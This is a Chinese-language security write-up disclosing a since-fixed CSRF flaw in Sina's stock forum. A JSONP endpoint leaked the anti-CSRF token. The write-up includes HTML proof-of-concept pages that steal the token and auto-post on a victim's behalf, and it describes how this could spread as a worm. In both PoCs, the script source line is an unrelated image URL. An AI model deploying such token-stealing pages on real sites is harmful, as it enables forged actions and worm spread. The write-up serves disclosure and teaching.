分享一個jsonp劫持造成的新浪某社區CSRF蠕蟲
最近jsonp很火,實話說已經是被玩爛了的,只是一直沒有受到大家的重視。正好在上個月,我挖過一個由於jsonp造成的新浪某社區CSRF,當時是為了準備一篇文章,之後這篇文章也會拿出來分享。
因為新浪已經修復了問題,所以我先把這個漏洞分享出來。以下是當時寫的部分文章。
0x01 引子
聽說新浪五月送衣服,我其實也沒太多空去挖洞。本來想交一個兩年前挖的CSRF刷粉,結果拿出來一看那洞早沒了,目標站都換了。
詳細說,就是我那個洞被302跳轉到新浪股吧(http://guba.sina.com.cn/)去了。
最近股市很火啊,多少人在股市裏發家致富。於是我簡單開著burpsuite在股吧裏轉了一圈,發現了一處有意思的CSRF。
新浪微博玩的多的同學都知道新浪針對CSRF漏洞的防禦策略是檢查Referer,但股吧發帖這裏卻不是,少見地檢查是token。
如圖,抓一個正常發帖的POST數據包,我們可以看到其中含有_csrf_token這個字段。經過簡單FUZZ發現,這個請求是不檢查Referer的,只要_csrf_token正確即可發帖。
那麽,如何獲取_csrf_token,我有如下思路:
- 查看本站是否有泄漏token的jsonp
- 通過flash竊取源碼
為什麽我會有以上思路?首先,獲取token一定是一個跨域過程,跨域的話通常就是CORS、postMessage和jsonp,這裏CORS和postMessage都是不存在的,那麽我就去找jsonp。
flash的思路應該已經流傳已久了,去年這個時候/fd就已經在drops裏說到了這個:http://drops.wooyun.org/tips/2031
但法2有一個很重要的條件是我們需要找到一個能控制輸出內容的點,如上傳、jsonp等,但實際上這樣的位置並不好找,利用起來不如第一種方法簡單。
0x02 jsonp出賣了你的_csrf_token
那麽,跟著自己的思路來測試。
我先將_csrf_token修改成隨意一個字符串,發送發現返回這樣一個結果:
返回的數據包是一個json格式的字符串,其中包含了一個_csrf_token。多次發送這個數據包,我發現這個token每次都會變化。
那麽我大概可以猜到,股吧的token是一個動態生成的,應該是儲存在session中,每次檢查完成後會生成一個新的。
但這裏是json格式的返回值,而非jsonp。
於是我在GET參數中加入“&callback=hehehe”試試:
很明顯,返回的格式變了。雖然不是jsonp,但卻是一個<script>了。
為什麽加上callback=hehehe就變了?這應該是一個開發習慣,通常開發設計api的時候都會有json和jsonp兩種格式,而通常取jsonp的函數名的變量名就是callback。
這裏是<script>還是沒法跨域呀,parent.hehehe執行父框架中的hehehe函數,但父框架(10.211.55.3)和guba.sina.com.cn還是不同域,chrome下會爆出這個錯誤:
繼續嘗試,將HTTP方法改成GET:
驚喜,方法一變就得到jsonp了。
那麽我用這個jsonp裏的_csrf_token試試能不能成功發帖:
悲劇的是,不行……
那麽我有兩個猜想
- _csrf_token和HTTP方法有關,GET方法只能痛GET方法獲取的token,POST用POST的token
- _csrf_token和“吧id”有關,不同id對應不同token。原因是返回錯誤的原因裏多次提到“缺少參數:吧id或吧名”。
第一個猜想被我的程序員直覺否定了,我沒見過有這樣寫程序的。
我嘗試第二個猜想,在GET數據包的URL中加上&bid=9947,再次發送數據包:
仍然是jsonp格式,我將這個token再寫入post數據包中發送:
成功了!
一個jsonp將_csrf_token徹底出賣了。
0x03 構造POC發表任意帖子
那麽我開始編寫POC來完成剛才手工完成的步驟。思路如下:
- jsonp獲得token
- 構造POST表單提交
先構造一個獲取token的簡單代碼:
Default1 2 3 4 5 6 7 8 9 10 11 12 13 | <html> <head> <title>test</title> <meta charset="utf-8"> <script type="text/javascript"> function hehehe(obj){ console.log(obj); alert(obj["result"]["data"]["_csrf_token"]); } </script> <script type="text/javascript" src=“https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script> </head> </html> |
效果如圖:
已經獲取到token了。
這時候,將token嵌入表單中提交即可:
Default1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <html> <head> <title>test</title> <meta charset="utf-8"> </head> <body> <form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend"> <input type="hidden" name="bid" value="9947"> <input type="hidden" name="tid" value=""> <input type="hidden" name="content" value="這是測試結果"> <input type="hidden" name="title" value="這是測試標題"> <input type="hidden" id="token" name="_csrf_token" value=""> <input type="hidden" name="anonymous" value="1"> </form> <script type="text/javascript"> function hehehe(obj){ console.log(obj); var csrf_token = obj["result"]["data"]["_csrf_token"]; document.getElementById("token").value = csrf_token; document.getElementById("csrfsend").submit(); } </script> <script type="text/javascript" src="https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2015/07/135322YJu.jpg"></script> </body> </html> |
以上代碼,保存為sinacsrf.html,任意用戶訪問後即可觸發,在板塊9947發表一篇新帖子:
如圖可見已發表:
這就是一個很典型的CSRF漏洞,通過jsonp竊取token來繞過後端的檢查。
發表的帖子裏還能再貼入鏈接,引誘其他用戶點擊,點擊訪問再次發帖,造成一個CSRF蠕蟲。
分享一個jsonp劫持造成的新浪某社區CSRF蠕蟲